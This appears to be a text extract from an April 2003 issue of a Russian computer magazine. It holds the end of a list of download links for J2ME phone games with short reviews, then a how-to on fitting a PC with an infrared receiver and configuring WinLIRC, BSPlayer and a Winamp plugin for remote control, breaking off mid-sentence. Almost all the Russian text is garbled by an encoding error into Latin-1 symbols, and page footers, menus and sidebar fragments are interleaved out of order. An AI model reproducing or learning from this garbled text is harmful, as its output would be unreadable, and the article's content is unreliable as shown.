http://www.unlock.times.lv/soft/siemens/java.htm<br />

http://digilander.libero.it/m_50/<br />

http://staslos.nm.ru/mt50/games/<br />

http://inferno239.nm.ru/java/<br />

http://www.jams.to/<br />

http://www.sl-midlets.net/dnk/games/<br />

http://hem.bredband.net/b157090/balaban/jam.zip<br />

http://digilander.libero.it/m_50/java/Java_Midlets_13jan2<br />

003.zip<br />

http://mobile-sl45.narod.ru/java.html<br />

2. Èãðû äëÿ ñêà÷èâàíèÿ ÷åðåç WAP<br />

http://midlet.nm.ru/<br />

http://wap.mulliner.org<br />

http://wap.o45m.ru<br />

http://wap.my-siemens.com (âûáèðàé ðàçíûõ<br />

îïåðàòîðîâ è ðàçíûå ñòðàíû, òîãäà òåáå áóäóò<br />

äàâàòü ñêà÷àòü ðàçíûå èãðû)<br />

http://doktorek.civ.pl/wap<br />

http://wap.midletcentral.com/<br />

Âñå ýòè, è íå òîëüêî ýòè èãðû òû ñìîæåøü ñêà-<br />

÷àòü ïî óêàçàííûì àäðåñàì. Äóìàþ, ïðîéäåò íåìàëî<br />

âðåìåíè, ïðåæäå ÷åì òåáå íàäîåñò âñå, ÷òî<br />

óñïåëè íàñî÷èíÿòü íà J2ME äëÿ òâîåãî òåëåôîíà!<br />

Âòîðîå ìåñòî - Siberian Strike. Ýòî ÷óìà! Ñóòü òà<br />

æå, ÷òî è â Galaxy Hero, íî êðó÷å è çàæèãàòåëüíåå! Ê òîìó<br />

æå, ïðî Ðîäèíó. Æàëêî òîëüêî î÷åíü óæ êîðîòêàÿ...<br />

Ïåðâûì äåëîì ñàìîëåòû<br />

Ïî÷åòíîå ïåðâîå ìåñòî - Skate & Slam. Ðåàëüíî<br />

òâîð÷åñêàÿ èãðà, êîòîðàÿ çàñòàâèò òåáÿ ñòðîèòü èç ñâîèõ<br />

ïàëüöåâ ñëîæíûå êîíñòðóêöèè, ëèøü áû ïðàâèëüíî è<br />

âîâðåìÿ íàäàâèòü íà íóæíûå êíîïêè. Â ýòîé èãðå òû<br />

óïðàâëÿåøü ñêåéòáîðäèñòîì è äîëæåí ñîâåðøàòü ðàçíîîáðàçíûå<br />

òðþêè - ñ êàæäûì óðîâíåì âñå ñëîæíåå -<br />

÷òîáû ïðîèçâåñòè âïå÷àòëåíèå íà îêðóæàþùèõ è ïîëó-<br />

÷èòü îò ýòèõ îêðóæàþùèõ ðàáîòó. Îòëè÷íàÿ èãðà! Îðèãèíàëüíàÿ,<br />

èíòåðåñíàÿ è êðàñèâàÿ.<br />

Îðëÿòà ó÷àòñÿ ëåòàòü<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit><br />

29


PC_Zone<br />

ÏÎÄÊËÞ×ÀÅÌ ÄÈÑÒÀÍÖÈÎÍÍÎÅ ÓÏÐÀÂËÅÍÈÅ<br />

Äåíèñ<br />

ÑÀÌ ÑÅÁÅ<br />

Ñàìàðèí,<br />

ÈÌÈÒÀÒÎÐ<br />

(densam@yandex.ru,<br />

www.olviko.ru/densam)<br />

<br />

Ñàìî ñîáîé, ÷òîáû äîñòè÷ü ñîñòîÿíèÿ ïîëíîé<br />

íèðâàíû, òåáå âñå æå ïîòðåáóåòñÿ ïðèëîæèòü<br />

íåìíîãî óñèëèé.  ïåðâóþ î÷åðåäü íóæíî áóäåò<br />

ðàçäîáûòü èíôðàêðàñíûé ïîðò. Ãäå ðàçäîáûòü?<br />

Åñòü äâà âîçìîæíûõ âàðèàíòà. Ïåðâûé - êóïèòü,<br />

âçÿòü íàïðîêàò ó äðóãà èëè âûïðîñèòü â ïîäàðîê<br />

íà ñâîé äåíü ðîæäåíèÿ.<br />

Âòîðîé - ñäåëàòü ñàìîìó. Äà-äà, ñäåëàòü ñàìîìó.<br />

Ïîâåðü ìíå, ñïàÿòü ïðîñòåéøèé ÈÊ-ïðèåìíèê<br />

ìîæåò è ïåðâîêëàññíèê. Äëÿ ýòîãî òåáå<br />

ïîíàäîáèòñÿ ðàçúåì äëÿ COM-ïîðòà (9 pin) è ïÿòü<br />

äåòàëåé, îáùåé ñòîèìîñòüþ îêîëî ñòà ðóáëåé,<br />

êîòîðûå òåáå ñ ðàäîñòüþ ïðîäàäóò â ëþáîì<br />

ìàãàçèíå ðàäèîòîâàðîâ. Õîòÿ, â ïðèíöèïå, ÈÊïîðò<br />

íå îáÿçàòåëüíî ïîäêëþ÷àòü èìåííî ê<br />

ïîñëåäîâàòåëüíîìó (COM) ïîðòó êîìïüþòåðà,<br />

ìîæíî è ê ïàðàëëåëüíîìó (LPT), èëè äàæå ê<br />

çâóêîâîé ïëàòå, íî ÿ òåáå ñîâåòóþ èñïîëüçîâàòü<br />

èìåííî COM-ïîðò, òàê êàê áîëüøàÿ ÷àñòü<br />

ïðîãðàììíîãî îáåñïå÷åíèÿ ðàáîòàåò ñ íèì.<br />

Íà âðåçêå òû íàéäåøü ññûëêè íà ñàéòû, ãäå<br />

íàõîäÿòñÿ ñõåìû, è ïîäðîáíî îïèñàí ïðîöåññ<br />

ñáîðêè óñòðîéñòâà. Îáðàòè âíèìàíèå íà òî, ÷òî íà<br />

íåêîòîðûõ ñõåìàõ ïðåäñòàâëåí íå ïîëíîöåííûé<br />

ÈÊ-ïîðò, à ëèøü ÈÊ-ïðèåìíèê. Îòëè÷èå â òîì, ÷òî<br />

ÈÊ-ïîðò ìîæåò îñóùåñòâëÿòü äâóõñòîðîííèé<br />

îáìåí äàííûìè, à ÈÊ-ïðèåìíèê - ëèøü ïðèíèìàòü<br />

èíôîðìàöèþ. Äëÿ äèñòàíöèîííîãî óïðàâëåíèÿ<br />

êîìïüþòåðîì ñ ïîìîùüþ ïóëüòà ÈÊ-ïðèåìíèêà<br />

âïîëíå äîñòàòî÷íî.<br />

Åñëè æå ñîáèðàòü ÈÊ-ïîðò ñàìîìó òåáå ëåíü, èëè<br />

òû áîèøüñÿ ñïàëèòü ÷òî-íèáóäü íåíàðîêîì, òî<br />

îòïðàâëÿéñÿ â áëèæàéøèé ìàãàçèí êîìïüþòåðíîé<br />

òåõíèêè è âûáåðè ñåáå óæå ãîòîâîå óñòðîéñòâî. Íà<br />

ñåãîäíÿøíèé äåíü òåáå ìîãóò ïðåäëîæèòü òðè<br />

ðàçëè÷íûõ âàðèàíòà:<br />

Ñ ïîäêëþ÷åíèåì ê ñïåöèàëüíîìó ÈÊ-ðàçúåìó íà<br />

ìàòåðèíñêîé ïëàòå;<br />

Ñ ïîäêëþ÷åíèåì ê USB-ïîðòó;<br />

C ïîäêëþ÷åíèåì ê COM-ïîðòó.<br />

Òàê êàê (ÿ óæå ãîâîðèë îá ýòîì âûøå) áîëüøàÿ<br />

÷àñòü ÏÎ ðàáîòàåò èìåííî ñ ïîñëåäîâàòåëüíûì<br />

ïîðòîì, òî ìåíüøå âñåãî ñëîæíîñòåé ó òåáÿ<br />

âîçíèêíåò ñ íàñòðîéêîé COM-óñòðîéñòâà. Âñå ÷òî<br />

íàäî ñäåëàòü - ýòî ïîäñîåäèíèòü ÈÊ-ïîðò ê<br />

ñâîáîäíîìó COM-ðàçúåìó (óáåäèñü, ÷òî COM-ïîðò<br />

íå çàíÿò, íàïðèìåð, âíóòðåííèì ìîäåìîì).<br />

Áîëüøèíñòâî ïðîãðàìì óìååò ðàáîòàòü ñ COMïîðòîì<br />

íàïðÿìóþ, òàê ÷òî äàæå íå îáÿçàòåëüíî<br />

óñòàíàâëèâàòü äðàéâåðà.<br />

Ñ USB-óñòðîéñòâàìè ìîãóò âîçíèêíóòü<br />

îïðåäåëåííûå ñëîæíîñòè. Äåëî â òîì, ÷òî èç<br />

âñåõ ïðîãðàìì, ïðîòåñòèðîâàííûõ ìíîþ â õîäå<br />

ïîäãîòîâêè ýòîãî îáçîðà, ÍÈ ÎÄÍÀ íå<br />

ïîääåðæèâàëà ðàáîòó ñ USB. Ýòî, ðàçóìååòñÿ,<br />

ìèíóñ. Ïðîáëåìà ðåøàåòñÿ óñòàíîâêîé<br />

ñïåöèàëüíûõ äðàéâåðîâ, êîòîðûå îáû÷íî<br />

èìåþòñÿ íà ïðèëàãàåìîì ê óñòðîéñòâó äèñêå.<br />

Ýòè äðàéâåðà ñîçäàþò â "Ïàíåëü óïðàâëåíèÿ"-<br />

"Ñèñòåìà"-"Óñòðîéñòâà" âèðòóàëüíûé ÑOMïîðò<br />

(Virtual COM) è âèðòóàëüíûé LPT-ïîðò<br />

(Virtual LPT). Òàê ÷òî, ïðåæäå ÷åì ïîêóïàòü<br />

USB-óñòðîéñòâî, óáåäèñü, ÷òî èìåþùèåñÿ<br />

äðàéâåðà ïîäõîäÿò ïîä òâîþ îïåðàöèîíêó.<br />

Íàïðèìåð, â ìîåì ñëó÷àå (Tekram IR-410U)<br />

âèðòóàëüíûå ïîðòû ñîçäàëèñü òîëüêî â<br />

Windows 98 è ME, à â 2000 - íåò.<br />

Tekram IR-410U<br />

Åñëè òû îñòàíîâèëñÿ íà ÈÊ-ïîðòå, êîòîðûé<br />

ïîäêëþ÷àåòñÿ íåïîñðåäñòâåííî ê IrDa-ðàçúåìó íà<br />

ìàòåðèíñêîé ïëàòå, ó÷òè, ÷òî ìàòåðèíñêèå ïëàòû<br />

ðàçíûõ ïðîèçâîäèòåëåé èìåþò ðàçíûå ðàçúåìû<br />

äëÿ ïîäêëþ÷åíèÿ, ïîýòîìó ïðè ïîêóïêå óáåäèñü â<br />

ñîâìåñòèìîñòè ðàçúåìà íà ïëàòå è ïðèëàãàåìîãî ê<br />

ÈÊ-ïîðòó øíóðêà. Êðîìå òîãî, íå çàáóäü<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

ÏÎÄÊËÞ×ÀÅÌ<br />

ÄÈÑÒÀÍÖÈÎÍÍÎÅ<br />

ÓÏÐÀÂËÅÍÈÅ<br />

ÊÀÊ ÓÏÐÀÂËßÒÜ ÊÎÌÏÜÞÒÅÐÎÌ ÍÀ ÐÀÑÑÒÎßÍÈÈ<br />

Íå çíàþ êàê òû, ïðèÿòåëü, à ÿ óæå äàâíî îòäàë ïðåäêàì ñâîé âèäàê è ìóçûêàëüíûé öåíòð. ×óâñòâóþ, íåäàëåê òîò ÷àñ,<br />

êîãäà èç âñåé áûòîâîé òåõíèêè ó ìåíÿ îñòàíåòñÿ îäèí òîëüêî êîìïüþòåð. À ÷òî? Âïîëíå ðåàëüíî. Ìóçûêà â ëþáûõ<br />

ôîðìàòàõ, ôèëüìû â mpeg4 è DVD… Óäîáíî è äåøåâî. Îäíî ïëîõî - íåò äèñòàíöèîííîãî óïðàâëåíèÿ. Êàæäûé ðàç,<br />

êîãäà õî÷åòñÿ ïðèáàâèòü èëè óáàâèòü çâóê, ïîñòàâèòü ôèëüì íà ïàóçó èëè ñìåíèòü «ïëàñòèíêó», ïðèõîäèòñÿ ñëåçàòü ñ<br />

äèâàíà è ïëåñòèñü ê êëàâèàòóðå. Êàìåííûé âåê! Ê ñ÷àñòüþ, ýòî íåóäîáñòâî ìîæíî ëåãêî èñïðàâèòü. Ñîìíåâàåøüñÿ?<br />

Îê, òîãäà äàâàé âìåñòå ïîñìîòðèì, êàê ìîæíî ïðèäåëàòü ê êîìïüþòåðó ïóëüò ÄÓ.<br />

àêòèâèçèðîâàòü îïöèþ IrDA â BIOS'å ("Chipset<br />

Features Setup" -> "UART2 Use Infrared" -><br />

"Enabled").<br />

<br />

Äëÿ óïðàâëåíèÿ ÈÊ-ïîðòîì êàêîãî-òî ñïåöèàëüíîãî<br />

îáîðóäîâàíèÿ òåáå íå ïîòðåáóåòñÿ. Ïîäîéäåò<br />

ëþáîå óñòðîéñòâî, óìåþùåå ïåðåäàâàòü ñèãíàëû â<br />

çàäàííîì äèàïàçîíå. Êîðî÷å - ñãîäèòñÿ ëþáîé<br />

ïóëüò îò îáû÷íîãî òåëåâèçîðà, âèäåîìàãíèòîôîíà<br />

èëè ìóçûêàëüíîãî öåíòðà. Íó, èëè ïî÷òè ëþáîé.<br />

Èìåþòñÿ ðåäêèå èñêëþ÷åíèÿ òèïà ïóëüòîâ îò<br />

íàøèõ "Ãîðèçîíòîâ" è íåêîòîðûõ ìîäåëåé<br />

Panasonic'îâ, êîòîðûå ãåíåðèðóþò ñèãíàëû ñ<br />

÷àñòîòîé, îòëè÷íîé îò òîé, íà êîòîðîþ ðàññ÷èòàí<br />

íàø ÈÊ-ïîðò (400 êÃö âìåñòî 30-40 êÃö).<br />

Äëÿ óñòîé÷èâîãî äâóõñòîðîííåãî îáìåíà äàííûìè<br />

ìåæäó ÈÊ-ïîðòîì è äðóãèì ÈÊ-óñòðîéñòâîì<br />

ðåêîìåíäóåòñÿ ðàçìåùàòü èõ íà ðàññòîÿíèè îêîëî<br />

ìåòðà äðóã îò äðóãà (íå äàëüøå). Ê ñ÷àñòüþ, íàøà<br />

çàäà÷à ãîðàçäî ïðîùå, ïîýòîìó øåñòü-ñåìü<br />

ìåòðîâ - âïîëíå íîðìàëüíîå ðàññòîÿíèå, íà<br />

êîòîðîå òû ìîæåøü îòîäâèíóòü îò êîìïüþòåðà<br />

ñâîé äèâàí, íå áîÿñü òîãî, ÷òî ïóëüò íå<br />

"äîñòàíåò". Òåì íå ìåíåå, ó÷òè, ÷òî, íàïðèìåð,<br />

î÷åíü ÿðêîå îñâåùåíèå ìîæåò çàìåòíî ñíèçèòü<br />

ðàäèóñ äåéñòâèÿ ïóëüòà.<br />

<br />

Ïîñëå îêîí÷àíèÿ òðóäîâ íàä àïïàðàòíîé ÷àñòüþ<br />

ïîðà ïðèíèìàòüñÿ çà âûáîð ïðîãðàììíîãî<br />

îáåñïå÷åíèÿ. ß áû òåáå ïîñîâåòîâàë íà÷àòü ñ<br />

WinLirc.<br />

WinLirc - ýòî äåìîí, êîòîðûé îòñëåæèâàåò<br />

ñîñòîÿíèå COM-ïîðòà, ïðèíèìàåò ïîñòóïàþùèå îò<br />

ÈÊ ñèãíàëû, àíàëèçèðóåò èõ è, â çàâèñèìîñòè îò<br />

ïðèíÿòîãî ñèãíàëà, ïîñûëàåò íà óêàçàííûé ïîðò<br />

ñîîòâåòñòâóþùóþ êîìàíäó. Áîëüøèíñòâî<br />

ïðîãðàìì äëÿ ðàáîòû ñ ÈÊ-ïîðòîì ïîëüçóþòñÿ<br />

óñëóãàìè èìåííî WinLIRC'à.<br />

Èçíà÷àëüíî WinLIRC áûë ðàçðàáîòàí äëÿ ÎÑ Linux<br />

è íàçûâàëñÿ ïðîñòî LIRC, ÷òî îçíà÷àåò (åñëè<br />

ðàçâåðíóòü àááðåâèàòóðó) Linux Infra Red Control.<br />

Âïîñëåäñòâèè ïðîãðàììà áûëà ýêñïîðòèðîâàíà<br />

ïîä Windows è ïðèîáðåëà ñîîòâåòñòâóþùóþ<br />

ïðèñòàâêó ê èìåíè. Äèñòðèáóòèâ ïðîãðàììû,<br />

30 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


êîòîðûé, êñòàòè, ðàñïðîñòðàíÿåòñÿ êàê freeware, òû<br />

ìîæåøü ñêà÷àòü ñ ñàéòà<br />

http://winlirc.sourceforge.net. Íà äàííûé ìîìåíò<br />

ïîñëåäíÿÿ âåðñèÿ - 0.6.4. Èíñòàëëÿöèè êàê òàêîâîé<br />

íå òðåáóåòñÿ, è äëÿ çàïóñêà ïðîãðàììû äîñòàòî÷íî<br />

ðàñïàêîâàòü àðõèâ è çàïóñòèòü ôàéë WinLirc.exe.<br />

Ïðîãà âåñüìà íåòðåáîâàòåëüíà ê ðåñóðñàì è<br />

âåëèêîëåïíî ðàáîòàåò äàæå íà Pentium 166.<br />

WinLIRC<br />

Ïîñëå çàïóñêà "äåìîíà" â ïîëå Port óêàæè íîìåð<br />

COM-ïîðòà, ê êîòîðîìó òû ïîäñîåäèíèë ÈÊïðèåìíèê,<br />

è åãî ñêîðîñòü (åñëè ïîñòàâèøü 115200<br />

- íå îøèáåøüñÿ). Íà âñå îñòàëüíûå ïàðàìåòðû<br />

ïîêà íå îáðàùàé âíèìàíèÿ. Äàëåå òåáå<br />

íåîáõîäèìî ïîçíàêîìèòü WinLIRC ñ òâîèì<br />

ïóëüòîì. Äëÿ ýòîãî îòïðàâëÿéñÿ ïî àäðåñó<br />

http://lirc.sourceforge.net/remotes è èùè<br />

èñïîëüçóåìóþ òîáîé ìîäåëü. Åñëè íàøåë, ñ÷èòàé,<br />

òåáå ïîâåçëî. Ñêà÷èâàé êîíôèãóðàöèîííûé ôàéë<br />

ñåáå íà äèñê è óêàçûâàé ïðîãðàììå, ãäå îí<br />

íàõîäèòñÿ (ïàðàìåòð Config).<br />

Åñëè æå òâîé ïóëüò îêàçàëñÿ íàñòîëüêî<br />

óíèêàëüíûì, ÷òî äëÿ íåãî íå íàøëîñü êîíôèãà, òî<br />

ïðîãðàììó ïðèäåòñÿ îáó÷àòü. Ýòî íåñëîæíî. Äëÿ<br />

íà÷àëà æìè íà êíîïî÷êó "Learn". Íà âîïðîñ<br />

ïðîãðàììû "This will record the signals from your<br />

remote control and create a config file for WinLIRC.<br />

Please enter a name for this remote." âïèøè<br />

íàçâàíèå ñâîåãî ïóëüòà. Æåëàòåëüíî ëàòèíñêèìè<br />

áóêâàìè è áåç ïðîáåëîâ.<br />

Ïîñëå ýòîãî â îòâåò íà äâà âîïðîñà ïðîñòî<br />

íàæìè "Enter", äàæå íå îñîáî âíèêàÿ â ñìûñë<br />

íàïèñàííîãî. Äàëüøå ïîÿâèòñÿ íàäïèñü "Press a<br />

button. Please wait a second and press it again".<br />

Æìè ëþáóþ êíîïî÷êó íà ïóëüòå. Ïîòîì îòïóñòè<br />

åå è ÷åðåç íåêîòîðîå âðåìÿ íàæìè îïÿòü. Íà<br />

ýêðàíå äîëæíà ïîÿâèòüñÿ "Baseline initialized".<br />

Ïîÿâèëàñü? ×óäåñíî. Äàâè òó æå ñàìóþ êíîïêó<br />

åùå ðàç. Ïîÿâèòñÿ "Please wait a second and<br />

press a button again (10 left)". Æìè åùå ðàç, è<br />

òàê äî òåõ ïîð, ïîêà íå óâèäèøü "This is a signalrepeating<br />

remote with no special repeat code.<br />

Ñàéòû, ãäå òû íàéäåøü ñõåìû ÈÊïîðòîâ<br />

è ÈÊ-ïðèåìíèêîâ<br />

http://www.cooler.it/cl020401.html -<br />

ñõåìà ïðîñòîãî ÈÊ-ïðèåìíèêà è<br />

êîììåíòàðèè ïî åãî ñáîðêå<br />

http://evm.wallst.ru/main/irda/index.ht<br />

m - ñõåìà ïîëíîöåííîãî ÈÊ-ïîðòà,<br />

ïîäêëþ÷àåìîãî íåïîñðåäñòâåííî ê<br />

ìàòåðèíñêîé ïëàòå<br />

http://inline.boom.ru/ - ñõåìà è<br />

ïîäðîáíîå îïèñàíèå ïðîñòîãî ÈÊïðèåìíèêà<br />

http://www.lirc.org/receivers.html -<br />

åùå îäèí ñàéò (íà àíãëèéñêîì),<br />

ïîñâÿùåííûé ñîçäàíèþ ÈÊïðèåìíèêîâ<br />

Holding down the button can quickly yield many<br />

copies of that button's code. Therefore, 64 samples<br />

of each button will be taken. You will be prompted<br />

to enter each button's name in turn. To finish<br />

recording buttons, enter a blank button name".<br />

Îáó÷àåì WinLIRC<br />

Òåïåðü ïîñëåäóåò ñåðèÿ îäèíàêîâûõ âîïðîñîâ<br />

"Button … name". Ââîäè íàçâàíèÿ òåõ êíîïîê íà<br />

ïóëüòå, êîòîðûì òû îáó÷àåøü ïðîãðàììó (POWER,<br />

VALUEINC, VALUEDEC, STOP, START è ò.ï.), è æìè<br />

ñîîòâåòñòâóþùóþ êíîïêó â òå÷åíèå íåñêîëüêèõ<br />

ñåêóíä äî òåõ ïîð, ïîêà çíà÷åíèå ïàðàìåòðà<br />

matches, êîòîðîå áóäåò "áåæàòü" íà ýêðàíå, íå<br />

ñòàíåò ðàâíûì 64. Ýòó ïðîöåäóðó íåîáõîäèìî<br />

ïîâòîðèòü äëÿ êàæäîé èíòåðåñóþùåé òåáÿ êíîïêè.<br />

Äëÿ ïðåêðàùåíèÿ îáó÷åíèÿ âìåñòî î÷åðåäíîãî<br />

íàçâàíèÿ êíîïêè ïðîñòî íàæìè "Enter".<br />

Äëÿ òîãî ÷òîáû WinLirc ñîõðàíèëà ïîëó÷åííûå<br />

äàííûå â êîíôèãóðàöèîííîì ôàéëå, èñïîëüçóé<br />

"Analize". Òåïåðü ïðîâåðêà: ïîùåëêàé ðàçíûìè<br />

êíîïî÷êàìè ïóëüòà, åñëè â òðåå âñïûõèâàåò<br />

çåëåíåíüêàÿ ëàìïî÷êà, çíà÷èò, WinLirn âñå ïîíÿëà<br />

è õîðîøî ðàñïîçíàåò òâîè ñèãíàëû.<br />

WinLIRC â äåéñòâèè<br />

Êîãäà ïîäãîòîâèòåëüíûé ýòàï îñòàíåòñÿ ïîçàäè,<br />

íà÷íåòñÿ ñàìîå èíòåðåñíîå - íàñòðîéêà âñåãî<br />

ýòîãî ïðîãðàììíî-àïïàðàòíîå ÷óäà ïîä òâîè<br />

íóæäû. Êàê ýòî ñäåëàòü? Êàê îáû÷íî, åñòü äâà<br />

ïóòè. Ïóòü ïåðâûé äîñòóïåí ëèøü â òîì ñëó÷àå,<br />

åñëè ÏÎ, êîòîðûì òû ïîëüçóåøüñÿ, ïîääåðæèâàåò<br />

ðàáîòó íåïîñðåäñòâåííî ñ ÈÊ-ïîðòîì (÷òî âðÿä<br />

ëè) èëè ñ WinLicr'îì (÷òî áîëåå âåðîÿòíî).<br />

Áîëüøîé ñïèñîê òàêèõ ïðîãðàìì òû íàéäåøü âñå<br />

íà òîì æå http://winlirc.sourceforge.net. À ÿ òåáå<br />

ðàññêàæó î íåêîòîðûõ èõ íèõ. Î âòîðîì ïóòè ìû<br />

ïîãîâîðèì ÷óòü äàëüøå.<br />

<br />

Íà÷íåì ñ ìîåãî ëþáèìîãî BSPlayer'a. Êîãäà<br />

þçàåøü òàêèå ïðîãðàììû, è æèçíü ñòàíîâèòñÿ<br />

ÿð÷å. Îòëè÷íûé äèçàéí, âñå ïðîäóìàíî äî<br />

ìåëî÷åé, íî ãëàâíîå - ôóíêöèîíàëüíîñòü. BSPlayer<br />

ïðîñìàòðèâàåò è ïðîñëóøèâàåò âñå, ÷òî òîëüêî<br />

ìîæíî ïðîñìàòðèâàòü è ïðîñëóøèâàòü. Äà ÷òî ÿ<br />

òåáå ðàññêàçûâàþ? Òû, íàâåðíîå, è ñàì<br />

ïîëüçóåøüñÿ ýòîé ïðîãîé.<br />

Íàñòðîéêà BSPlayer’à<br />

Ðàçóìååòñÿ, BSPlayer óìååò ðàáîòàòü è ñ WinLirc.<br />

Äðóãîãî ÿ îò íåãî è íå îæèäàë. Âûáåðè â ìåíþ<br />

"Ïàðàìåòðû" (Options) ïóíêò "Íàñòðîéêè"<br />

(Preferences), è ïåðåìåùàéñÿ ïî çàêëàäêàì äî<br />

ñàìîãî êîíöà, ïîêà íå íàòêíåøüñÿ íà<br />

"Êíîïêè&WinLIRC" ("Key definitions & WinLIRC"). Êàê<br />

âèäèøü, äèàëîãîâîå îêíî ðàçáèòî íà äâå<br />

ôóíêöèîíàëüíûå ÷àñòè.  ëåâîé ðàñïîëîæåí<br />

ñïèñîê êîìàíä, êîòîðûå óìååò âûïîëíÿòü BSPlayer.<br />

Ñðåäè íèõ: óâåëè÷èòü/óáàâèòü ãðîìêîñòü,<br />

ïåðåêëþ÷èòüñÿ â ïîëíîýêðàííûé ðåæèì,<br />

ïðèîñòàíîâèòü ïîêàç, ñíÿòü êîïèþ êàäðà è ò.ä.<br />

Âñåãî ðîâíî äåâÿíîñòî êîìàíä!  ïðàâîé æå ÷àñòè<br />

ýêðàíà èìåþòñÿ òðè ïîëÿ:<br />

1. "Ñîïîñòàâëåííàÿ êëàâèøà" - êîìáèíàöèÿ êëàâèø<br />

íà êëàâèàòóðå, ñ ïîìîùüþ êîòîðûõ ìîæíî âûçâàòü<br />

âûïîëíåíèå òîé èëè èíîé êîìàíäû - â êîíòåêñòå<br />

ðàññìàòðèâàåìîé òåìû íàñ èíòåðåñóåò ìàëî.<br />

2. "WinLirc - êíîïêà" - à âîò ýòî òî, ÷òî íóæíî! Æìè<br />

êíîïêó íà ïóëüòå, â òðåå çàãîðèòñÿ çåëåííàÿ ëàìïî÷êà,<br />

à BSPlayer çàïîìíèò, ÷òî èìåííî ýòîé êíîïêå íà<br />

ïóëüòå ñîîòâåòñòâóåò âûáðàííàÿ òîáîé êîìàíäà.<br />

3. "WinLIRC àäðåñ è ïîðò" - â ýòîì ïîëå<br />

íåîáõîäèìî ïðîïèñàòü ip-àäðåñ ìàøèíêè, íà<br />

êîòîðîé óñòàíîâëåí WinLIRC è, ñîîòâåòñòâåííî,<br />

ÈÊ-ïðèåìíèê. Äåëî â òîì, ÷òî WinLIRC ìîæåò<br />

ðàáîòàòü íå òîëüêî ëîêàëüíî, íî è ïåðåäàâàòü<br />

ïðèíÿòûå ñèãíàëû ïî TCP IP. ×óâñòâóåøü, êàêèå<br />

îòêðûâàþòñÿ ïåðñïåêòèâû? Ïðè æåëàíèè òû<br />

ìîæåøü èç äîìà óïðàâëÿòü êîìïüþòåðîì,<br />

íàõîäÿùèìñÿ â Íîâîé Çåëàíäèè. Íî îíî òåáå<br />

íàäî? Åñëè íåò, è ó òåáÿ íåò òàêèõ ãëîáàëüíûõ<br />

öåëåé, òî îñòàâëÿé ýòîò ïàðàìåòð áåç èçìåíåíèé.<br />

Âîò, â ïðèíöèïå, è âñå. Íàñëàæäàéñÿ.<br />

<br />

×òî åùå ìîæåò ðàáîòàòü ñ ÄÓ? WinAMP. Ïðàâäà, â<br />

îòëè÷èå îò BSPlayer'à, ó WinAMP'à íåò âñòðîåííîé<br />

ïîääåðæêè WinLIRC'à. Íî ñóùåñòâóåò ñïåöèàëüíûé<br />

ïëàãèí, êîòîðûé óñòðàíÿåò ýòîò íåäîñòàòîê. Çîâóò<br />

åãî Remote Control, è òû íàéäåøü åãî ïî àäðåñó<br />

http://remotectrl.narod.ru/russian/remoteCtrl.exe<br />

(132Êá, ðóññêàÿ âåðñèÿ - freeware).<br />

WinAMP è Remote Control<br />

<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit><br />

31


PC_Zone<br />

ÏÎÄÊËÞ×ÀÅÌ ÄÈÑÒÀÍÖÈÎÍÍÎÅ ÓÏÐÀÂËÅÍÈÅ<br />

Äåíèñ<br />

ÑÀÌ ÑÅÁÅ<br />

Ñàìàðèí,<br />

ÈÌÈÒÀÒÎÐ<br />

(densam@yandex.ru,<br />

www.olviko.ru/densam)<br />

Remote Control ðàáîòàåò ñ Winamp âåðñèè 2.4 è<br />

âûøå, à òàêæå òðåáóåò ðàçðåøåíèÿ ýêðàíà íå íèæå<br />

800x600. Õîòÿ îí áóäåò ðàáîòàòü è ïðè 640õ480, íî<br />

ïîäñêàçêè ïðèîáðåòóò íå÷èòàáåëüíûé âèä.<br />

Ïîñëå óñòàíîâêè ïëàãèíà åãî òðåáóåòñÿ<br />

ñêîíôèãóðèòü. Äëÿ ýòîãî ëåçü â "Preference" -><br />

"Plug-ins" -> "General Purpose" è æìè íà<br />

"Configure". Èëè, ÷òî ãîðàçäî ïðîùå, ùåëêíè<br />

ìûøêîé íà ïîÿâèâøóþñÿ â òðåå èêîíêó. È â òîì è<br />

â äðóãîì ñëó÷àå òû ïîïàäåøü â íàñòðîéêè ïëàãèíà,<br />

êîòîðûõ, ÿ òåáå ñêàæó, ó íåãî äîâîëüíî ìíîãî. Íî<br />

ñ áîëüøèíñòâîì íàñòðîåê ÿ ïðåäëàãàþ òåáå<br />

ðàçîáðàòüñÿ ñàìîñòîÿòåëüíî, à ñàì ëèøü<br />

ðàññêàæó, êàê íàñòðîèòü åãî äëÿ ðàáîòû ñ ïóëüòîì.<br />

 ïåðâóþ î÷åðåäü âûáåðè çàêëàäêó "WinLIRC", â<br />

êîòîðîé ïðîïèøè IP-àäðåñ ìàøèíêè, ãäå<br />

óñòàíîâëåí ÈÊ-ïîðò. Åñëè ó òåáÿ "âñå â îäíîì<br />

ôëàêîíå", òî ïèøè "localhost". Ïîòîì ïåðåõîäè íà<br />

çàêëàäêó "Êîìàíäû".<br />

Íàñòðîéêà plugin’à äëÿ WinAMP’à<br />

Æìè ïðàâóþ êíîïêó ìûøè è âûáèðàé êîìàíäó<br />

"Ñîçäàòü ïóëüò". Èìåé â âèäó, ÷òî íàçâàíèå ïóëüòà<br />

äîëæíî â òî÷íîñòè ñîâïàäàòü ñ òåì íàçâàíèåì,<br />

êîòîðîå òû ââîäèë, îáó÷àÿ ïðîãðàììó WinLIRC.<br />

Ïîòîì îïÿòü ùåëêàåøü ìûøêîé è ñîçäàåøü êíîïêó<br />

ïóëüòà, äàåøü åé íàçâàíèå è èç âûïàäàþùèõ<br />

ñïèñêîâ "Îñíîâíàÿ êîìàíäà" èëè "Êîìàíäà<br />

ïëåéëèñòà" âûáèðàåøü íóæíóþ òåáå êîìàíäó:<br />

óïðàâëåíèå ãðîìêîñòüþ, óïðàâëåíèå mp3-ôàéëàìè<br />

èëè CD-äèñêàìè, âêëþ÷åíèå è âûêëþ÷åíèå<br />

ìîíèòîðà è òàê äàëåå.<br />

<br />

Íåñêîëüêî òðóäíåå òåáå ïðèäåòñÿ, åñëè òû<br />

ïîëüçóåøüñÿ ïðîãðàììîé, êîòîðàÿ íå<br />

ïîääåðæèâàåò ðàáîòó ñ WinLIRC'îì. Íàïðèìåð,<br />

ñòàíäàðòíûé Windows Media Player èëè DivX Player<br />

çíàòü ïðî WinLIRC íè÷åãî íå çíàþò.  ýòîì ñëó÷àå<br />

îòöà ðóññêîé äåìîêðàòèè ñïàñóò ïðîãðàììû,<br />

